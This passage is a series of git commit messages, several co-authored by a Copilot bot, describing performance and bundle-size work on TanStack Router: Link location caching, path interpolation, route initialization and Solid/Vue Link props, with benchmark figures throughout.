compiled next and inlined it into, so the callee never tiered up again.
Since `build` calls it directly and does not inline it, it became hot
again during the measured run, and its recompilation (about four 32 KB
zone segments) set the peak.
Iterating `destRoutes` with a counted loop instead of `for...of` keeps the
function optimized once compiled: no deoptimization and no recompilation
in the measured window. Middleware order and live route-option reads are
unchanged. Hoisting the option reads alone did not help.
Local reproduction with a malloc interposer, CodSpeed's worker flags and
seven preparation calls, macOS arm64 / Node 24.8.0 (deterministic peaks):
- react: 248880 (base) -> 287760 (+15.6%) -> 248944 with this change
- vue: 256704 -> 292656 (+14.0%) -> 256640
- solid: 287408 -> 288240 (+0.3%) -> 287632
These are local native allocations, not a new Linux CodSpeed CI run.
Bundle (react-router.minimal gzip): +8.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`buildLocation` ran `nullReplaceEqualDeep` over the built search and
`replaceEqualDeep` over the built state against the current location on
every build. That work only affected object identity, and nothing reads
that identity from a built location:
- Links select href and isActive from the built location; active state is
computed by value and ignores history state.
- `commitLocation` already compares state by value (`deepEqual` over
`_getUserHistoryState`), so pre-shared children were at most a shortcut.
- The identity consumers actually rely on (selecting `location.state.user`
or a nested search value without rerendering) comes from `parseLocation`,
which stabilizes the committed location against the previous one. That
sharing stays untouched, as do the `matchRoutes` sites for search, params
and loaderDeps.
On the server `replaceEqualDeep` was already a passthrough, so client and
server builds now produce the same shapes.
Behavior changes:
- A literal `search` or `state` is returned as the caller's object. It is
never written to: `commitLocation` and history both copy before adding
`__hashScrollIntoViewOptions`, `__TSR_key`, `key` and the index.
- Because `replaceEqualDeep` returned the *current* search when contents
were equal, `buildLocation` used to re-serialize the current key order.
At `?a=1&b=2`, `buildLocation({ search: { b: 2, a: 1 } })` produced
`?a=1&b=2`, so navigating there was a same-location no-op. It now
produces `?b=2&a=1` and pushes a new history entry.
- A destination without `search` yields the frozen `EMPTY_RECORD`
instead of a fresh or shared object. Nothing downstream mutates the
built search; all consumers copy.
The `usedCurrent` tracking is unchanged: only reads through `current()` /
`currentMatch()` mark a build as location-dependent, so literal search and
state keep hitting the per-options cache.
Tests: the build-time sharing assertion (`explicit state structurally
shares unchanged nested values`) is replaced by a describe block that pins
the new contract: built search/state are the caller's objects, equal nested
references are preserved after navigation via parseLocation, `navigate`
does not mutate a plain or frozen caller state, and the key-order case is
covered at both the buildLocation and the navigation level.
Measurements (react-router.minimal, this tree):
gzip 86026 -> 86004 (-22), initial -23, raw -41, brotli +65.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
`useValueStable` kept a shallow copy of `params` / `search` /
`activeOptions` (dac2bf249f) so that an object mutated in place would
yield a new reference on the next render. That only ever held one level
deep: a nested change such as `search.filters.page = 2` left the shared
nested reference in the copy, `deepEqual` short-circuited on it, `dest`
kept its identity and `buildLocation` served the cached location.
Detecting mutation is not a contract React lets us keep. A mutation on its
own never renders anything; the tests that exercised it needed a manual
re-render button to observe the change, which is the same situation as a
mutated `React.memo` prop or `useMemo` dependency. Rather than snapshot
deeper (measured +63 gzip bytes on react-router.minimal and a 3-5x slower
compare whenever nested references are shared, since nothing can
short-circuit), `useValueStable` stores the caller's reference again, as
on main. The reference is the router's invalidation signal: pass a new
object to change a destination.
The regression test now pins the contract that can actually break: fresh
inline literals with equal nested contents must not trigger another
`buildLocation`, and a nested value that changes through React state must
produce a new href on that render and keep it across navigations. The
accessor and in-place mutation tests are removed along with the promise
in the changeset.
Bundle (react-router.minimal gzip): 86038 -> 86026 (-12).
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reuse location-independent Link destinations
Most mounted Links point at a destination that does not depend on where
the user currently is: an absolute `to`, literal params for every template
key, a literal (or no) search, hash and state. Until now every navigation
rebuilt all of them anyway, because `buildLocation` always started from the
current location.
`buildLocation` now tracks whether a build read the current location at
all. Every such read goes through `current()` / `currentMatch()`, which set
one flag; a build that finishes without it depends only on its options and
the route tree. When the caller passed `_fromLocation` (what Links do) and
no mask is involved, the resulting location is kept in a WeakMap keyed by
the options object, and the next `buildLocation` with that same object
returns it directly. `update()` and `setRoutes()` replace the map, so router
option changes and HMR route-tree rebuilds invalidate everything.
To make that flag meaningful the reads became demand-driven instead of
unconditional: an absolute `to` resolves without a base path, params that
cover the template skip the inherited-params merge, a literal search/hash/
state never touches the current values, and stringifiers fetch inherited
params only when a route defines one. Structural sharing with the current
search/state stays, as it only affects identity.
Contract: the same options object yields the same location until router
options or the route tree change. Callers own invalidation by passing a new
object when their values change (the follow-up react-router commit does
that with deepEqual-stabilized copies of `params`/`search`).
Once whole locations are reused, the per-route SIEVE pathname cache
(`_pathCache`, `InterpolationPlan`, `createPathInterpolator` and its router
plumbing) is redundant and is removed; templates are interpolated directly
from the route's parsed segments.
Tests: path, route-tree-caches, path-decoder and the interpolation bench
assert canonical pathnames through `buildLocation` instead of cache
internals.
Performance (Apple M4, Node 24, fresh production bundles, 3 runs each;
measured on a tree that also carried the replaceEqualDeep changes now
proposed separately in #8362, #8363 and #8364):
- Measured alone, with the React Link still spreading a fresh options
object per navigation so nothing hits the cache: links/react 341.3 ->
290 hz (-15%); paired link-perf client vs stack HEAD: encoding +30%,
splats +24% slower (HEAD's pathname cache targeted exactly those), the
other cases within noise. This commit is the first half of a two-part
change and regresses on its own.
- With the follow-up react-router commit (stable options object, so 160 of
161 builds per navigation become 13 ns cache hits; a full build costs
680-970 ns): links/react 622 hz (+82% vs stack HEAD, rme +-0.4%).
Paired link-perf client vs origin/main: shared-params -34%, unique-params
-36%, splats -41%, encoding -54%, active -44%, middleware -14%,
relative -9%. SSR vs origin/main: -12..-32% on every measured case
(encoding -23%, splats -18%); vs stack HEAD only SSR encoding is slower
(+31%).
- Bundle (react-router.minimal gzip, this tree): 85925 -> 85992 (+67) for
this commit, 1 byte below origin/main (85993); 86038 with the Link commit.
With #8362, #8363 and #8364 applied as well the tree measures 85983.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(react-router): keep one options object per Link so locations are reused
`buildLocation` now returns a cached location for an options object whose
previous build never read the current location (06e4504605). The React
Link built a fresh `{ _fromLocation, ..._options }` on every navigation, so
it never hit that cache.
Each Link now owns one `dest` object, memoized on `_options`. The location
selector sets `dest._fromLocation` in place (unless the caller supplied one)
and passes the same object to `router.buildLocation`, so a Link whose
destination does not depend on the current location costs a WeakMap lookup
per navigation instead of a full build. `navigate` and `preloadRoute` still
receive `_options`, so the in-place field never reaches a navigation.
Because object identity is now the router's invalidation signal,
`useValueStable` keeps a shallow copy of `params`/`search`/`activeOptions`
rather than the caller's object. `deepEqual` therefore never short-circuits
on reference equality, and a params object that was mutated in place, or is
backed by accessors, yields a new reference (hence a new `dest`) on the
render that observes the change. A mutation that no render observes is no
longer picked up by a navigation alone; that matches how every other Link
input already behaves.
The server branch had its own inline copy of the active-state, class and
style derivation while the client used `resolveIsActive`. Both now share
`resolveIsActive` and a `resolveStateProps` helper; the results are
identical (`exactPathTest` is the same trailing-slash comparison,
`deepEqual` already treats two key-less search objects as equal, and the
hash check yields `false` on the server because it is never hydrated
there). The two `blockedLink` spreads that position state props before or
after `ref`/handlers are documented in place.
Tests (`link-destination.test.tsx`): the middleware test follows the HMR
sequence (`route.update()` then `router.setRoutes(router.buildRouteTree())`)
instead of expecting a bare `route.update()` to be observed; the test for
an impure `stringifySearch` closing over a mutable variable is dropped
along with that contract; the mutation and accessor tests re-render the
fixture and assert the updated location survives further navigations.
Performance (Apple M4, Node 24, fresh production bundles, 3 runs each;
measured on a tree that also carried the replaceEqualDeep changes now
proposed separately in #8362, #8363 and #8364):
- links/react (200 mounted Links, 8 navigations per lap): 290 -> 622 hz
against the parent commit, +82% against stack HEAD (341 hz). 160 of the
161 `buildLocation` calls per navigation become 13 ns cache hits; a full
build of these Links costs 680-970 ns.
- Paired link-perf client vs the parent commit: shared-params -24%,
splats -35%, encoding -49%, active -36%, unique-params -25% (wide
interval), middleware unchanged (never cacheable).
- Combined with the parent, vs origin/main: client shared-params -34%,
unique-params -36%, splats -41%, encoding -54%, active -44%,
middleware -14%, relative -9%; SSR -12..-32% on every measured case.
- Bundle (react-router.minimal gzip, this tree): 85992 -> 86038 (+46);
+113 vs stack HEAD, +45 vs origin/main (85993). With #8362, #8363 and
#8364 applied as well the tree measures 85983, 10 bytes below origin/main.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* refactor: stop exporting isPlainObject and isPlainArray
Nothing in the repository imports these two helpers from a package entry
point; they are only called inside `utils.ts` by `deepEqual` and
`replaceEqualDeep`, and `isPlainArray` is unit-tested via `../src/utils`.
#8363 tightens `isPlainObject` to a constructor check that is meant
for the router's own structural sharing, so the helpers are no longer
exported from `@tanstack/router-core`, `@tanstack/react-router`,
`@tanstack/solid-router` or `@tanstack/vue-router`.
No bundle change in react-router.minimal (unused exports were already
tree-shaken): 85983 before and after.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* chore: add changesets for Link location reuse and the removed helpers
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reuse parsed route segments for interpolation
Capture original template segments during the existing route-tree parse.
Interpolation only substitutes current values and produces fresh metadata;
it never reparses known routes, including first use and trailing-slash
variants. Rebuild the captured data with the tree for HMR. Parse unknown
templates once per bounded entry and reuse their segments across decoder
changes. Update Devtools and internal test consumers.
Remove internal undefined-path/server-flag compatibility and the divergent
SSR scanner. Both runtimes follow the canonical splat grammar. Keep the
128-result route cache after measuring its removal rather than adding an
unproven configuration option.
Measured against 41e42009be with frozen production bundles:
- 26 client/SSR Link cases, 4 paired replicas each: client unique params
-3.94% CPU [95% CI -6.30,-1.52], optionals -2.58% [-4.34,-0.78].
Other cases inconclusive; no supported end-to-end slowdown.
- 1000-route client high-cardinality interpolation -18.55..-24.83%;
matching with fresh metadata -14.69..-19.12% (5 process samples).
- 1000-route client setup costs an extra 0.084..0.192 ms; sparse first use
costs about 0.23..0.28 us/call. Retained segment data adds about 200..298 B
per dynamic route in the measured fixtures.
- All 18 bundle cases add 303..392 gzip B; React minimal/full +311/+326 B.
- Cache-off saves 0.8..0.9 MiB per 1000 used routes and 1.2..1.5 MiB after
growth, but client encoding/splat Links regress 25.31%/12.71% and SSR
encoding/splats regress 21.76%/25.37%; retain result caching.
- Shared-value sampled allocations rise 2.18% client/5.23% SSR without that
cache. Native Vue peaks remain effectively unchanged (macOS captures,
not a new Linux CodSpeed CI run). Benchmark counts/JIT/GC flags unchanged.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): avoid temporary route initialization joins
Build route IDs and full paths with direct string assembly and the existing
cleanPath normalizer. Avoid temporary filter/join arrays and the second ID
normalization. Pathless layouts keep the parent's fullPath unchanged.
Add a focused construction benchmark with fresh route objects and separate
processing-only / allocation-plus-processing cases at 100/1000/10000 routes.
Document why client-nav route-tree-scale is not a construction benchmark.
Standalone attribution against 41e42009be, otherwise unchanged Uint16Array
parser, 7 fresh process replicas and 1000 routes per tree:
- Client processRouteTree+route.init CPU improves 11.48-19.57% across
static, dynamic, nested and mixed trees (all 95% intervals below zero).
- Server CPU improves 9.39-22.29% (all 95% intervals below zero).
- React Router minimal gzip +6 bytes; the composed parse-once implementation
is measured separately against the required original bundle budget.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reuse stable path parameter decoders
Compare allowed-character values rather than recompiling the decoder on
every provider-style options update. Equivalent arrays retain warm route
paths; in-place edits and option removal update encoding correctly.
Publish the configuration key only after successful compilation, and
declare optional state without forcing an unused instance field.
Isolated against 3e0b23f46c with the same path-decoder.bench.ts, seven
alternating independent process pairs (200 locations per batch):
- Stable provider updates: 143.3707 -> 122.5572 us, -14.52%
(95% process interval -15.51% to -13.52%).
- No-update control: 119.1170 -> 118.8155 us, -0.25%
(interval -1.05% to +0.55%).
- Deliberately changing configuration every batch: 143.8213 -> 147.7340 us,
+2.72% (interval +1.38% to +4.08%). Reconfiguration remains the cold path.
These are decoder/update mechanism measurements, not a claim about every
React Link render. Standalone React minimal gzip: 86121 -> 86142 bytes
(+21); raw +48 bytes, Brotli +10 bytes.
Add coverage for equivalent options, mutation, removal, direct overrides
and retrying failed compilation.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): simplify route-owned path interpolation
Share one canonical scanner between tree processing and unknown templates.
Retain compact dynamic records and derive original parameter names lazily,
instead of reconstructing them during matching. Keep initialization/indexing
and traversal in processRouteTree, including existing nested-mask behavior.
Make pathParamsAllowedCharacters initialization-only, as requested. Compile
the readonly decoder once, remove decoder keys/stamps/update invalidation,
and keep path results on each route. Preserve the shared bounded unmatched
template cache across SSR requests; lightweight matching stays router-local.
Do not add an encoding-specific cache, router-level route map or bulk clear.
Move Devtools-only navigation availability outside the hot formatter.
Preserve legacy standalone fallback match identity and cache behavior,
including inherited params and route-tree replacement. Retain useful encoding
comments and explicit tuple-slot labels.
Final measurements (Node 24.8.0, built production JS, unchanged workloads):
- Original React client-nav Link loop versus 41e42009be, four balanced
fresh-process pairs: CPU 2.5015016 -> 2.4370936 ms per 8-navigation batch,
-2.57% (95% process interval -3.72% to -1.42%). Wall -2.58%.
- Fresh 1000-route client processing/init: static -12.39%, dynamic -5.34%,
nested -6.54%, mixed -2.59%. Server static -9.12%; remaining intervals
are reported separately and the mixed-server result is inconclusive.
- All 18 gzip fixtures are below 41e by 47-88 bytes. React minimal:
85801 -> 85731; full: 89392 -> 89318. Raw JS -533..-697 bytes;
Brotli varies by fixture rather than uniformly shrinking.
- Full 26-case paired client/SSR Link suite: no supported regressions;
most small changes are inconclusive, not claimed as universal speedups.
- Warm retained path-cache heap saves about 7.8 KiB per 1000 routes in
default/custom configurations. Native Vue peaks remain near baseline;
peak, allocation totals and end outstanding are measured separately.
Existing literal grammar/URL/matching expectations are preserved. The
independent oracle covers 49638 segment cases and 338 matching/mask traces
within the old offset range. Initialization-only encoding deliberately
supersedes the previous live-update contract.
Detailed measurements and rejected experiments remain in uncommitted
session reports and LOG.md.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): initialize routes directly during tree processing
Remove the optional initRoute callback and unconditionally call
route.init({ originalIndex: index }) at the start of the parent-first visit,
before indexing or parsing the route. Require init on this function's input
without imposing it on masks or the shared template-scanning RouteLike type.
Remove the Router and construction-benchmark forwarding wrappers. Adapt
preinitialized matcher fixtures through one test-only helper with a
non-enumerable no-op init; do not normalize their paths/IDs or change their
expected grammar/matching results. Add real-route initialization order,
index and exactly-once coverage.
Performance versus bc71b06207, seven independent process pairs per
shape/mode using the same built-JS entry and fresh route objects:
- Server static 1000-route processing/init: 0.7781686 -> 0.7623686 ms/tree,
CPU -2.06% (95% interval -3.26% to -0.84%); wall -2.10%.
- Other construction cells are inconclusive, with no supported slowdown.
- All 18 gzip fixtures improve by 10-26 bytes. React minimal:
85731 -> 85712 bytes (-19). Raw -20 bytes (-59 for Rsbuild);
Brotli remains fixture-dependent.
Object creation and forced GC are outside processing timers. The common
measurement entry's obsolete third argument is ignored by the new code,
so once-per-tree callback allocation savings are not overstated.
Full measurements and logs remain in the session's
direct-route-init-20260909 artifacts and uncommitted LOG.md.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): pass route initialization indexes directly
Change the internal initializer to route.init(originalIndex). Update the
Route interface, BaseRoute implementation, processRouteTree contract and
both production call sites, including the standalone legacy fallback.
Remove object-literal arguments without adding compatibility wrappers.
Keep route ordering and stored indexes unchanged. Cover primitive arguments,
index zero and the large legacy fallback index explicitly.
Performance versus f2c2d55f99:
- Seven independent fresh-process construction comparisons per shape/mode
(100, 1000 and 10000 routes; static/dynamic/nested/mixed) show no
statistically supported timing difference. Do not claim an unproven
CPU or heap-byte improvement from the removed object literals.
- All 18 gzip fixtures improve by 7-13 bytes. React minimal:
85712 -> 85702 (-10); full: 89303 -> 89291 (-12).
- Raw JS decreases by 46 bytes in every fixture. Brotli varies.
The same production-JS phase entry and workloads are used on both sides.
Object creation and forced GC are outside processing timers. Detailed
samples, intervals and logs remain in numeric-route-init-20260909 session
artifacts and uncommitted LOG.md.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* update route trees
* ci: apply automated fixes
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Remove the inner Fragment around scroll restoration while retaining the
outer Fragment, script/null condition and fresh shell-slot VNodes. Cover
child state across shell updates/invalidation and SSR script selectors/nonces.
Native malloc profiling on macOS arm64, Node 24.8.0, with the existing
CodSpeed flags, seven preparation calls and three fresh final captures:
- Interrupted peak after middleware split: 733736 -> 295024 bytes (-59.79%).
- Navigation peak after middleware split: 420776 -> 420896 (+120 bytes).
- Composed vs f2530bf453: interrupted -59.79%, navigation -19.32%,
unique-location churn effectively unchanged (-0.016%).
These are local native measurements, not a Linux CodSpeed CI result.
Navigation end-of-region outstanding malloc increases 12472 bytes versus
the middleware-only control; this endpoint is before teardown, not retained
JS heap. Total allocated native bytes decrease.
Standalone Vue canonical Link CPU: 5.32037 -> 5.30865 ms/batch,
-0.22% [-4.04%, +3.75%], inconclusive across four isolated process pairs.
Incremental gzip: Vue Router minimal/full +1/+1 byte, Vue Start 0/-2.
All four Vue bundles remove 12 raw bytes; other 14 fixtures are identical.
No benchmark flags, workload counts, public APIs or features changed.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): cache canonical interpolated pathnames
Store the existing canonical decoder's pathname in the route interpolation cache so hits do not decode it again. Keep the standalone interpolation kernel, static/leaveParams paths, non-string fallbacks, cache capacities and decoder/template invalidation unchanged. Cover cold/hit href parity, reserved encodings and coercion fallback.
Against 3905181fd4, four balanced isolated-process pairs reduced encoded-destination client CPU 13.42% (95% CI -14.50% to -12.32%) and wall 13.32% (-14.44% to -12.19%). Shared params CPU improved 1.27% (-2.39% to -0.14%); unique/miss-heavy CPU +0.49% (-0.35% to +1.33%) was inconclusive. Four paired SSR repetitions improved encoded CPU 14.13% (-19.70% to -8.18%) and wall 14.17% (-19.83% to -8.12%).
React Router minimal/full gzip +4/+5 bytes to 85791/89378. Across all 18 fixtures gzip deltas range -7 to +16 bytes. The private microbenchmark now names its normalized-output contract; its changed-scope timings are not used for the speedup claims.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reuse lightweight raw-param snapshots
getMatchedRoutes already copies cached raw params. Reuse that owned snapshot for lightweight parsing instead of allocating another dictionary. Preserve state-param reuse and matcher cache ownership. Cover mutating/throwing live parsers and add an opt-in cold-source location benchmark.
Against ac2ac45367, the same 256-build cold-location benchmark observed client means 0.3434 to 0.2987 ms for one param, 0.7437 to 0.4638 ms for eight, and 1.8625 to 1.1565 ms for 32. Before/after RMEs were 5.15/5.47%, 8.10/4.14%, and 2.37/2.97%. These are cold-mechanism results, not a 38% application speedup; small server cases were noisy and four paired application relative/numeric cases were inconclusive.
React Router minimal/full gzip decreases 6/9 bytes to 85786/89376; raw -35. All 18 fixture gzip deltas range -11 to +1 bytes. No public API, parser behavior or cache capacity changed.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): reduce middleware compilation memory
Separate search middleware collection from recursive execution so Maglev
does not build one large compiler graph for both. Preserve live route-option
reads, ordering, validation, legacy filters and the empty-search fast path.
Cover middleware replacement/removal across a previously used route branch.
Native malloc profiling on macOS arm64, Node 24.8.0, using the existing
CodSpeed flags and seven preparation calls (three fresh processes):
- Vue navigation peak: mean 521664 -> 420776 bytes (-19.34%).
- Vue interrupted-navigation peak: 733736 -> 733736 bytes (unchanged).
These are local native allocations, not a new Linux CodSpeed CI run.
Four paired React Link replicas: relative client CPU -2.79%
[-4.37%, -1.18%]; shared/updater/middleware cases are inconclusive.
Isolated SSR CPU means range -1.63% to +1.28%, all inconclusive.
React Router minimal/full gzip: +15/+16 bytes; all 18 gzip deltas -6..+20.
Keep all benchmark JIT/GC flags and operation counts unchanged.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(react-router): filter native Link props once
Omit type and disabled in one rest copy for native anchors instead of copying the hook result twice. Custom components still receive disabled, and useLinkProps still returns supported type/disabled values. Add client/SSR coverage for those distinctions, refs and render-function children.
Against 6e4584e0d8, four balanced fresh-process pairs with one implementation per process reduced client parameter-updater CPU from 15.61515 to 15.14615 ms per eight-navigation batch (-3.00%, 95% CI -4.19% to -1.80%); wall -3.04% (-4.29% to -1.78%). SSR shared-param CPU fell from 1.45208 to 1.41006 ms per four-request batch (-2.89%, CI -3.80% to -1.98%); wall -2.85% (-3.84% to -1.84%). Earlier co-loaded comparisons were inconclusive.
React Router minimal gzip -5 bytes to 85773; full +1 to 89358. Other React fixtures vary -3 to +4 bytes, raw +14; Solid/Vue remain byte-identical. No public API or prop functionality removed.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(react-router): stabilize hydration snapshot getters
Reuse the existing true/false snapshot functions instead of allocating them on every useHydrated render. This lets React skip unnecessary store-instance passive bookkeeping without changing hydration values or adding hooks. Cover stable identities and an actual server-render/hydrateRoot transition.
Against b6971a434a, four balanced fresh-process pairs per case (200 warmup and 500 measured eight-navigation batches) reduced parameter-updater CPU from 15.16880 to 14.99436 ms (-1.15%, 95% CI -1.84% to -0.46%); wall -1.05% (-1.62% to -0.47%). Middleware CPU fell from 15.23708 to 14.81729 ms (-2.75%, CI -4.46% to -1.01%); wall -2.79% (-4.53% to -1.01%).
React Router minimal/full gzip increases 14/15 bytes for this isolated fix, remaining below the initial branch baseline. All Solid/Vue bundle output is unchanged. Public APIs, server snapshots and client hydration transitions are preserved.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Keep comparison snapshots in SWC's existing node_modules exclusion so emitted JavaScript is not retranspiled and source-map positions remain valid. Preserve asynchronous ESM loading and add a failing-before source-integrity regression.
Four-replica identical-bundle calibration: client shared-params CPU +0.92% [-4.14%, +6.24%], wall +1.03% [-4.55%, +6.93%]; SSR CPU +0.17% [-6.32%, +7.11%], wall +0.15% [-6.44%, +7.21%]. Intervals include zero; no speedup is claimed. Production code is unchanged; baseline React Router gzip is 85797/89379 bytes.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* refactor(router-core): consolidate path interpolation
Remove the object-returning internal wrapper and keep one interpolatePath returning a pathname with optional metadata outputs. Migrate router, devtools, tests, and benchmarks while leaving parsing and cache limits unchanged.
Devtools requests only missing-param status. Tests use direct expected paths and explicit metadata; cache benchmarks no longer carry obsolete factory compatibility dispatch.
React Router minimal/full gzip are 85829/89413 bytes (+5/+4 from 8a9f57e638, still 14/4 below measured main). Full units/types/exports and 76 browser cases pass; eight paired client/SSR workloads show no supported timing change.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router-core): keep derived caches on routes
Store branches and interpolation plans directly on route objects. Use the already-resolved destination route, remove the fixed outer limit for registered templates, and retain128 results per route. Keep a bounded32-template fallback for arbitrary templates and masks.
Build/install route-tree indexes and string caches as one bundle for existing SSR reuse. Reinitialization clears ancestor branches; interpolation plans validate their exact template and decoder without unconditional resets. Loaded match data remains request-local.
Against29509b9b98, paired core buildLocation batches over64/256 templates use40-43% less CPU; four fresh server routers generating200 hrefs each use8-9% less. Reversed import order corroborates these scoped results. Four real client/SSR Link cases remain statistically inconclusive.
All18 bundle fixtures shrink19-37 gzip bytes versus the consolidation baseline. React Router minimal/full are85797/89379 bytes,46/38 below measured main. Tests cover SSR request cleanup, route reuse, decoder/trailing variants, reparenting, result bounds and fallback capacity.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router-core): add opt-in matching interpolation benchmarks
Cover client/server matching with cold and Link-primed route plans, nested params, high-cardinality misses, optional params, and splats. Gate all additional cases behind TSR_LINK_PERF=1.
Evaluate six matching-cache prototypes without retaining production changes. Eager variants regress repeated misses by24-64%. Read-through reuse improves warm matching microcases but adds65 gzip bytes; all26 application Link/SSR comparisons show no supported speedup, with one relative-Link slowdown. Real HTTP SSR ABBA means differ by only -0.41%, within observed variation.
Restore production and all18 bundle metrics exactly to ec05cc6bec. Preserve detailed measurements and rejected prototypes in session artifacts and uncommitted LOG.md.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Declare the native null-prototype target once for non-inheriting parameter modes. Preserve updater isolation, native copy counts, and literal-parameter merge behavior. Group parameter resolution with search middleware without changing Link or path interpolation logic.
Official current-branch bundles shrink in all 18 scenarios by 2-30 gzip bytes versus 9c7cab48c1. React Router minimal: 85778 -> 85748 (-30); full: 89386 -> 89384 (-2).
A matched-main preview against cf166d160e measures React Router minimal at 85805 versus main 85821 (-16), and full at 89385 versus main 89398 (-13). Eight of nine matched-main React fixtures meet main; Start+Query remains +25 bytes. Small Solid overages are retained as agreed.
Eight paired client/SSR cases with four independent replicas each detected no supported timing regression or improvement. Add coverage for fresh updater copies, null prototypes, inheritance, and clearing.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Organize the generic interpolation loop into static, wildcard, and named-parameter behavior blocks. Keep one shared key lookup, one encoding step, and one prefix/value/suffix assembly. Name affix boundaries and keep optional/missing wildcard behavior local to its segment type.
Replace the self-clearing onMissing callback with an optional metadata result object. The public interpolatePath wrapper reuses its existing result object; pathname-only callers still allocate no metadata. Preserve one parameter read, the reusable parser buffer, absent optional cache keys, canonical and legacy splat metadata, and public return values. Fast-path empty splat strings before the URL-safe regex so sharing the encoding step does not penalize omitted values.
Final official gzip measurements versus 5017a72614:
- React minimal: 85771 -> 85769 (-2 bytes).
- React full: 89384 -> 89382 (-2 bytes).
- All 18 fixtures range from -4 to +8 bytes; no unrelated source changes compensate for interpolation cost.
Added mixed-type/affix metadata coverage and direct pathname-kernel benchmarks. Paired fixed-seed CPU measurements of the real parent/current modules show effectively flat required client pathname interpolation (+0.04%) and 0.37-4.14% lower time in the other sampled required/optional/splat/mixed/missing client/server combinations. These are focused kernel diagnostics, not a broad application speedup claim.
Preserve the experiments, rejected larger variants, full fixture metrics, and raw benchmark output in uncommitted LOG.md and session artifacts.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* perf(router): compact Solid and Vue Link state props
Port the React Link bundle-size reductions to Solid and Vue: share exact/fuzzy pathname normalization, resolve only the selected active/inactive props, concatenate classes without temporary arrays, and avoid style allocation when neither source supplies styles. Vue forwards and visits one selected props object in both client and SSR paths.
Keep framework-specific behavior: Solid retains its default-styling fast path and base href/handler precedence; Vue retains state-prop overrides and zero-argument callbacks. Both keep style snapshots so mutable Solid stores and Vue proxies remain reactive, including additions to empty style objects. No public API or unrelated production code changes.
Official gzip measurements versus d4cc307869:
- Solid minimal: 34017 -> 33973 (-44 bytes).
- Solid full: 38973 -> 38930 (-43 bytes).
- Vue minimal: 50731 -> 50646 (-85 bytes).
- Vue full: 56484 -> 56395 (-89 bytes).
All nine Solid/Vue Router/Start fixtures shrink by 26-104 gzip bytes; all nine React fixtures remain byte-identical.
Independent hunk attribution: active pathname checks save 36/41 Solid and 37/34 Vue bytes. State-prop changes alone save 0/2 Solid and 46/53 Vue bytes. Combined gzip deltas are not additive.
Existing 200-Link/eight-navigation workloads were compared with frozen parent, props-only, and final bundles. Standalone wall-time runs were too variable for a speed claim. Interleaved fixed-seed checks, repeated with reversed module order, showed effectively flat rendering cost: Solid mean CPU -1.49% / +0.33%, Vue -0.23% / -0.29%; corresponding wall changes -1.81% / +0.50% and -0.12% / -0.33%. No incremental rendering speedup is claimed. Raw results and experiments remain in uncommitted LOG.md and session artifacts.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* fix(router): honor Link state props and Vue class bindings
Apply selected active/inactive props after ordinary base props in Solid and React, including React server output. Preserve the dedicated class concatenation and style merge handling. Add client/server regressions for supported refs and event handlers; do not widen the state-prop API to router navigation options.
Keep Vue object and nested-array class values intact instead of interpolating them into strings. Compose base/state values with Vue-compatible arrays, retain omitted-class behavior, and clone props at VNode creation because Vue normalizes class values in place. This preserves cached bindings and later reactive class changes. Vue ordinary state-attribute precedence was already correct and is left unchanged.
The regressions were run on the pre-fix implementations and failed for the reported behaviors, then passed after the fixes. Full framework unit/type/lint/package and Chromium coverage passes. Bundle impact remains small: React/Solid raw bytes unchanged; Vue Router minimal/full are 14/10 gzip bytes smaller. Detailed red/green evidence and measurements are kept in uncommitted LOG.md and session artifacts.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* fix(solid-router): preserve computed Link routing props
Restore the computed href, target, and disabled values after active/inactive state props. Keep state-prop ref/event overrides, class/style composition, and the default styling fast path unchanged for client and SSR rendering.
Reproduce the history/rewrite href failures and extend existing state-prop regressions to cover conflicting routing fields. Full validation passes 922 client tests (one skipped), 33 server tests, type/lint/export checks, and 24 Chromium cases.
The full bundle matrix adds 16/13 gzip bytes to Solid Router minimal/full and 13-17 bytes to Solid Start fixtures. React and Vue bundles are unchanged; no extra allocations or href recomputation are introduced.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
---------
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
* test(router): add opt-in React Link performance cases
Add 13 shared typed workloads measured through production client navigation and real SSR rendering: shared/unique params, updater functions, inheritance, relative targets, middleware chains, numeric parse/stringify, optional/splat segments, encoding, masks, rewrites, and active props with structured search and style merging.
